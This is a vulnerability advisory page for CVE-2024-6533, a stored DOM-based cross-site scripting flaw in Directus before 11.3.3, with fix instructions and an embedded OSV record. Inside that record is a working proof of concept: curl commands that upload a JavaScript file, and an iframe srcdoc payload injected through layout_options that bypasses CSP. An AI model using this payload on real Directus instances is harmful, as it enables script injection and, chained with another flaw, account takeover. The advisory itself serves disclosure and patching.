CVE-2024-6533: Directus Cross-Site Scripting Vulnerability
LOWCVE-2024-6533 is a LOW (CVSS 3.4) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Directus libraries in the npm ecosystem. The issue involves directus has a dom-based cross-site scripting (xss) via layout_options. Remediation is available by upgrading affected packages to version 11.3.3.
CVE-2024-6533 at a Glance
Security Impact
CVSS: 3.4
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:N/I:L/A:N).
How to Fix CVE-2024-6533
To remediate this vulnerability, upgrade all affected Directus dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install directus@11.3.3
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls directus
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2024-6533, inspect your project dependencies using npm:
npm ls directus
Analyze the terminal output to locate any version of Directus in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 11.3.3), your application is affected.
Note: The npm ls directus command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Directus, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2024-6533 Affected Directus Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
directus
|
npm |
< 11.3.3
|
11.3.3
|
References
Frequently Asked Questions
What is CVE-2024-6533?
Which Directus versions are affected?
What version fixes CVE-2024-6533?
Is directus affected?
What is the CVSS score of CVE-2024-6533?
What CWE is associated with CVE-2024-6533?
How can I check npm dependencies for CVE-2024-6533?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-9qrm-48qf-r2rw",
"modified" : "2026-08-14T19:11:38Z",
"published" : "2025-01-23T22:36:50Z",
"aliases" : [ "CVE-2024-6533" ],
"summary" : "Directus has a DOM-Based cross-site scripting (XSS) via layout_options",
"details" : "### Impact\nDirectus allows an authenticated attacker to save cross site scripting code to the database. This is possible because the application injects an attacker-controlled parameter that will be stored in the server and used by the client into an unsanitized DOM element. When chained with [CVE-2024-6534](https://github.com/directus/directus/security/advisories/GHSA-3fff-gqw3-vj86), it could result in account takeover.\n\n### PoC\nTo exploit this vulnerability, we need to do the following steps using a non-administrative, default role attacker account.\n\n1. Upload the following JavaScript file.\n\nUsing the upload functionality at `POST /files`. This PoC will show an alert message.\n\n```js\nexport TARGET_HOST=\"http://localhost:8055\"\nexport ATTACKER_EMAIL=\"malicious@malicious.com\"\nexport ATTACKER_PASSWORD=\"123456\"\nroot_dir=$(dirname $0)\nmkdir \"${root_dir}/static\"\n\ncurl -s -k -o /dev/null -w \"%{http_code}\" -X 'POST' \"${TARGET_HOST}/auth/login\" \\\n -c \"${root_dir}/static/attacker_directus_session_token\" \\\n -H 'Content-Type: application/json' \\\n -d \"{\\\"email\\\":\\\"${ATTACKER_EMAIL}\\\",\\\"password\\\":\\\"${ATTACKER_PASSWORD}\\\",\\\"mode\\\":\\\"session\\\"}\"\n\nid_url_file=$(echo \"alert('Successful DOM-based XSS')\" |\n curl -s -k -X 'POST' \"${TARGET_HOST}/files\" \\\n -b \"${root_dir}/static/attacker_directus_session_token\" \\\n -F \"file=@-;type=application/x-javascript;filename=poc.js\" | jq -r \".data.id\")\n```\n\n2. Create a preset for a collection and store the preset ID.\n\nOr use a preset already created from GET /presets. The following example uses the direct_users preset.\n\n```\nattacker_user_id=$(curl -s -k \"${TARGET_HOST}/users/me\" \\ -b \"${root_dir}/static/attacker_directus_session_token\" | jq -r \".data.id\") curl -i -s -k -X 'POST' \"${TARGET_HOST}/presets\" \\ -H 'Content-Type: application/json' \\ -b \"${root_dir}/static/attacker_directus_session_token\" \\ --data-binary \"{\\\"layout\\\":\\\"cards\\\",\\\"bookmark\\\":null,\\\"role\\\":null,\\\"user\\\":\\\"${attacker_user_id}\\\",\\\"search\\\":null,\\\"filter\\\":null,\\\"layout_query\\\":{\\\"cards\\\":{\\\"sort\\\":[\\\"email\\\"]}},\\\"layout_options\\\":{\\\"cards\\\":{\\\"icon\\\":\\\"account_circle\\\",\\\"title\\\":\\\"<iframe srcdoc=\\\\\\\"<script src='http://localhost:8055/assets/${id_url_file}'> </script>\\\\\\\">\\\",\\\"subtitle\\\":\\\"{{ email }}\\\",\\\"size\\\":4}},\\\"refresh_interval\\\":null,\\\"icon\\\":\\\"bookmark\\\",\\\"color\\\":null,\\\"collection\\\":\\\"directus_users\\\"}\"\n```\n\nWhen the user visits the view that uses the directus_users preset, the JavaScript file will be executed.\n\nNotes:\n\nNeed to use an iframe to execute the malicious JavaScript file to bypass the CSP policies. The payload structure is `<iframe srcdoc=\\\"<script src='URL_MALICIOUS_FILE'> </script>\\\">`.\n\nWe can target any collection that uses the vulnerable template structure that renders the layout option section.\n\nIn this PoC, the target is the same user who sends the payload, but if the attacking user has permission to modify or create presets for other users or even if he does not have permissions but can chain with CVE-2024-6534, he can achieve an account takeover.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:N/I:L/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "directus"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "11.3.3"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/directus/directus/security/advisories/GHSA-9qrm-48qf-r2rw"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/directus/directus"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-79" ],
"severity" : "LOW",
"github_reviewed" : true,
"github_reviewed_at" : "2025-01-23T22:36:50Z",
"nvd_published_at" : null
}
}